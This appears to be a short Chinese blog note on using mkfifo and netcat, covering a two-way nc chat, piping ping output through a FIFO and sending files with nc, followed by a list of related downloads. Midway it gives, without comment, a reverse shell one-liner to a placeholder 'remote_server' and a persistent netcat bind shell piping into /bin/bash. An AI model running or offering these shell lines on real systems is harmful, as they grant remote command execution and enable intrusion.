`
haoningabc
  • 浏览: 1481979 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

mkfifo 和nc

阅读更多
服务器端
nc -l 1234
客户端
nc 10.10.10.225 1234
或者 telnet localhost 1234
服务端输入什么,客户端就显示什么
客户端输入什么,服务端就显示什么
对话了吧


管道

第一个窗口
mkfifo -m 755 myfifo
ping www.baidu.com >> myfifo

另一个窗口
cat myfifo


关闭第一个窗口
看第二个窗口
--------------------
mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe

mkfifo ._b; nc -lk 4201 0<._b | /bin/bash &>._b;




使用nc传文件
nc -l 4444 >hao.tar.gz &           接收端
nc 10.230.13.237 4444 < b.txt.tar.gz              发送端
分享到:
评论

相关推荐

    mkfifo.rar

    首先利用mkfifo函数创建管道,注意需要使用有效路径;然后按照路径打开管道,由于本程序使用读取文件,所以文件权限使用O_RDONLY为只读权限,然后设立一个死循环不断读取管道文件的数据,当接收到另一个进程B写入到...

    mkfifo命令 创建FIFO文件

    使用mkfifo命令可以使用指定的名称创建先进先出文件(FIFO) 语法格式:mkfifo [参数] [名称] 常用参数: -m 设置权限模式,类似chmod -Z 将每个创建的目录SELinux安全环境设置为CTX 参考实例 创建FIFO...

    mkfifo.rar_进程与线程_C/C++_

    在IT领域,进程和线程是操作系统中两个重要的概念,特别是在多任务并行...通过阅读和理解"mkfifo.cc"的源代码,开发者可以深化对进程、线程以及它们之间通信方式的理解,这对于编写多进程、多线程的应用程序至关重要。

    node-named-pipe:Linux在NodeJS中命名管道(mkfifo)

    Linux在NodeJS中命名管道(mkfifo) npm install named-pipe 该库创建Linux管道,而无需使用C ++绑定并通过Shell执行。 依存关系 没有任何! 您的外壳需要支持mkfifo 。 在外壳中尝试mkfifo --help ,看看是否可以...

    java进程间管道通信1

    虽然Java标准库不直接支持创建管道文件,但可以借助于操作系统提供的功能,如C/C++中的`mkfifo()`函数,来实现这一目的。在本场景中,我们将讨论如何在Java中实现管道通信以及需要注意的关键问题。 首先,要创建...

    文件传输,支持断点续传,Linux下的

    这里,`mkfifo`创建了一个命名管道,`nc`从远程服务器接收数据,`tee`用于将接收到的数据同时追加到目标文件和命名管道,而`curl`则从管道中读取数据。当网络中断后,可以再次运行`curl -C -`命令继续下载。 此外,...

    makefile的例子FOR AIX

    在IT行业中,`Makefile`是一个非常重要的工具,特别是在软件构建和自动化编译过程中。它定义了一系列的规则和指令,告诉编译器如何构建、链接和管理项目中的源代码文件。`Makefile`通常用于大型的C/C++项目,但也...

    Makefile学习心得

    Makefile 是一种自动化构建工具,广泛应用于软件项目管理和编译过程中。通过定义一系列规则,Makefile 能够自动化地完成编译任务,简化开发流程。本文将详细介绍在不同场景下如何编写有效的 Makefile 文件。 #### ...

    linux 命名管道创建及使用demo程序

    1. 在程序中创建命名管道 在程序中创建命名管道,可以使用 mkfifo 函数,其原型如下: #include #include int mkfifo(const char *pathname, mode_t...删除命名管道和删除一个普通文件没有什么区别: $ rm /tmp/testp

    Linux创建FIFO文件类型的方法.docx

    Linux 创建 FIFO 文件类型的方法 ...FIFO 文件类型是一种重要的进程间通信机制,在 Linux 系统中可以通过 mkfifo 库函数或 mknod 系统调用来创建,使用时需要注意数据传输的大小和文件操作的方式。

    fifo.rar_client server fi

    `mkfifo()`函数接受路径名和文件权限模式,返回0表示成功,非0值表示失败。 **读写FIFO** 读写FIFO的过程与读写普通文件类似,但需要注意的是,FIFO需要至少有一个进程在读,另一个进程在写,否则会阻塞。例如,...

    父控制子进程通讯

    这个主题主要涉及到如何在C++中创建和管理进程,并且通过管道(pipe)实现父进程与子进程之间的数据传输,使得父进程能够向子进程发送命令,进而让子进程执行相应的操作。以下是对这个主题的详细阐述: 首先,我们...

    Linux下管道通信的实现.pdf

    * 使用 mkfifo 函数可以创建一个命名管道,mkfifo 函数需要两个参数:filename 和 mode。 * 命名管道的文件名可以是任意的,但是一般情况下,都是以 .fifo 结尾的文件名。 管道的读写: * 对一个空的、阻塞的命名...

    linux实验实验九有名管道和无名管道.doc

    有名管道的创建可以使用mkfifo函数,例如:`mkfifo("my_fifo", 0666);`。有名管道的读写操作可以使用标准输入输出函数,如read和write函数。 有名管道的优点是可以在多个进程之间共享数据,实现进程之间的通信。...

    fifo.rar_命名管道

    在"fifo.rar_命名管道"这个压缩包中,包含的两个源代码文件“fifo_read.c”和“fifo_write.c”可能分别展示了如何创建和操作命名管道进行读写操作的基础示例。 命名管道与匿名管道类似,都是半双工的(即数据只能...

    实验 Linux进程通信的参考答案

    Linux 进程通信是指在操作系统中,多个进程之间进行数据交换和同步的机制。在 Linux 中,进程通信可以通过信号、管道和共享内存等方式实现。 一、信号机制 在 Linux 中,信号是一种异步通信机制,允许一个进程向另...

    操作系统实验五-进程间通信-管道通信

    进程间通信——管道通信 无名管道 有名管道 write()和read() pipe() 函数int pipe(int fd[2])创建一个管道 lockf()函数使用管道通信时,可关闭某些不需要的读或写描述符wait()、waitpid(),sys/wait.h头文件mkfifo()...

    222019321062060_付若轩22

    - **任务1**:创建两个进程A和B,使用`mkfifo()`创建共享的命名管道f。进程A从键盘读取输入并写入f,进程B则从f读取并显示到屏幕上。这个任务展示了基本的单进程对命名管道的读写操作。 - **任务2**:增加复杂性,...

    实验五-进程间通信实验(二).doc

    通过本实验,我们了解了进程间通信的两种方式:无名管道和有名管道,并学习了如何使用 pipe 函数和 mkfifo 函数来创建管道,以及如何使用 open 函数来打开和读写管道。此外,我们还学习了信号处理机制如何在进程间...

    进程间通信-管道

    通过`mkfifo()`、`open()`、`write()`和`read()`等系统调用,我们可以构建起可靠的通信链路。`PipeC.cpp`和`PipeS.cpp`的代码示例为我们提供了学习和理解这一概念的实际参考。通过深入研究这些代码,开发者可以更好...

Global site tag (gtag.js) - Google Analytics